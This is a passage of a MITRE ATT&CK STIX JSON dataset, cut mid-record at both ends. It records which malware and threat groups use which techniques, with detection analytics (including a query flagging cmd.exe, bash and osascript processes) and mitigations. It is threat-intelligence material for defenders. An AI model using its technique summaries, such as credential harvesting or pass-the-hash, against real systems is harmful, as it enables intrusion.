2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:49:41.591Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can obtain a list of running processes on a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d7661c8-82cf-481c-89e4-927eedaffc22","created":"2022-06-16T15:21:17.403Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can query `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography MachineGuid` to retrieve the machine GUID.(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:21:17.403Z","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d79747d-3ff5-44ab-ae40-80823347c7d7","type":"relationship","created":"2020-01-14T17:21:54.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T17:21:54.547Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d7e1954-b020-4578-9a57-b1596a7a25ff","type":"relationship","created":"2019-05-24T17:57:36.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/","source_name":"Cyber Forensicator Silence Jan 2019"}],"modified":"2020-03-28T21:29:58.245Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used scheduled tasks to stage its operation.(Citation: Cyber Forensicator Silence Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d805346-82fa-4912-99e7-a8a5fc112f90","created":"2024-08-26T18:22:05.503Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:22:05.503Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) gathered victim email address information for follow-on phishing activity.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d82c2f3-0bca-49a0-b731-296a436eb003","type":"relationship","created":"2019-01-30T15:19:15.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.375Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can collect the username from the victim’s machine.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d87dc81-d091-4c30-be81-1c741f722296","created":"2022-07-14T12:40:51.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Hiding Malicious Code with Module Stomping","description":"Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.","url":"https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:57:59.003Z","description":"Monitor for process memory inconsistencies compared to DLL files on disk by checking memory ranges against a known copy of the legitimate module.(Citation: Hiding Malicious Code with Module Stomping)","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d8d3beb-eb0c-4c5d-b813-913e790fc773","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T19:04:13.016Z","description":"Monitor the creation of processes that are related to the abuse of IPC mechanisms, particularly those that communicate with higher-privileged services or perform suspicious operations.\n\nAnalytic 1 - Processes using IPC mechanisms.\n\n(( sourcetype=WinEventLog:Security EventCode=4688) OR (sourcetype=Sysmon EventCode=1))\n| search parent_process IN (\"XPCService\", \"com.apple.securityd\") OR process_name IN (\"cmd.exe\", \"bash\", \"osascript\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d8fedc7-e139-4806-9904-3cc2bf8b9334","created":"2020-11-25T22:46:47.503Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018) ","modified":"2022-06-30T20:19:13.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d90aad5-e0fb-4a8c-862a-71d3db99bae9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response Attack Investigation Team. (2018, April 23). Orangeworm: Indicators of Compromise. Retrieved July 8, 2018.","source_name":"Symantec Orangeworm IOCs April 2018","url":"https://symantec-enterprise-blogs.security.com/sites/default/files/2018-04/Orangeworm%20IOCs.pdf"}],"modified":"2021-10-26T22:30:52.141Z","description":"[Orangeworm](https://attack.mitre.org/groups/G0071) has used HTTP for C2.(Citation: Symantec Orangeworm IOCs April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d90e3ef-1839-4bb8-8205-02e2461b5d55","type":"relationship","created":"2020-05-11T22:12:28.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.334Z","description":"Once loaded into memory, [MESSAGETAP](https://attack.mitre.org/software/S0443) deletes the keyword_parm.txt and parm.txt configuration files from disk. (Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d91840d-b419-4d9f-9bba-8a9f18728854","created":"2022-07-14T17:33:57.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:11:48.736Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has used fast flux DNS for its C2.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d97864c-3e73-48ac-9ddd-83743ee62be6","type":"relationship","created":"2021-07-07T02:23:04.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.754Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1da27474-f902-419e-97a9-1fba8743cce8","type":"relationship","created":"2021-10-01T20:57:16.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T18:10:54.289Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) has collected the computer name and OS version from victim machines.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1da6b7d8-12d3-436a-a97d-ae8fbd74c2ac","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor executed commands and arguments for actions that will aid in compression or encrypting data that is collected prior to exfiltration, such as tar. ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1da7a099-122d-4c26-b27f-f8acabdd7b44","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2021-10-05T01:24:41.719Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) reflectively loads a Windows PE file into a process.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1daaea6e-527f-4c3d-9387-72ea68d7140d","type":"relationship","created":"2019-06-07T18:27:38.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.316Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can browse file systems using a file manager module.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dac9ffa-1523-4cab-b28f-2d5642ee08aa","type":"relationship","created":"2019-01-30T15:43:19.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2020-03-20T18:23:25.543Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1dad5efc-395f-4b92-8f4f-3e987a4d5e57","created":"2023-09-27T13:22:26.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T13:25:35.597Z","description":"(Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1daf23d1-fdf0-4858-8509-836efb883f18","created":"2022-06-07T17:52:06.653Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can enumerate the targeted machine's name and GUID.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:20:13.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1db2b844-8ace-46f3-a2f9-527e813f32b6","created":"2019-05-29T14:17:51.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.663Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) can execute shell commands against [cmd](https://attack.mitre.org/software/S0106).(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1db4d8d3-a63c-4291-afc9-da0410d5c82a","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"type":"relationship","id":"relationship--1db7023d-eab0-4ddb-9156-9ac03b5e0db9","created":"2024-07-25T18:07:17.246Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:07:17.246Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) created code signing certificates to sign malicious macOS files.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dc273bd-fb9d-4a36-a234-37ec11238e26","type":"relationship","created":"2020-10-20T01:37:26.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:26:44.549Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dc28189-0852-4ded-a69c-a00e69d0c6f1","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) can perform pass the hash.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"tool--a52edc76-328d-4596-85e7-d56ef5a9eb69","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dcc92d5-0299-4c6c-b86b-f2d3718a9bda","type":"relationship","created":"2020-10-20T01:25:08.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:33:19.754Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dcca5db-e03e-4330-8705-76aaedcf295f","type":"relationship","created":"2021-10-17T20:56:22.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T20:56:22.408Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has routed their traffic through an external server in order to obfuscate their location.(Citation: TrendMicro Tonto Team October 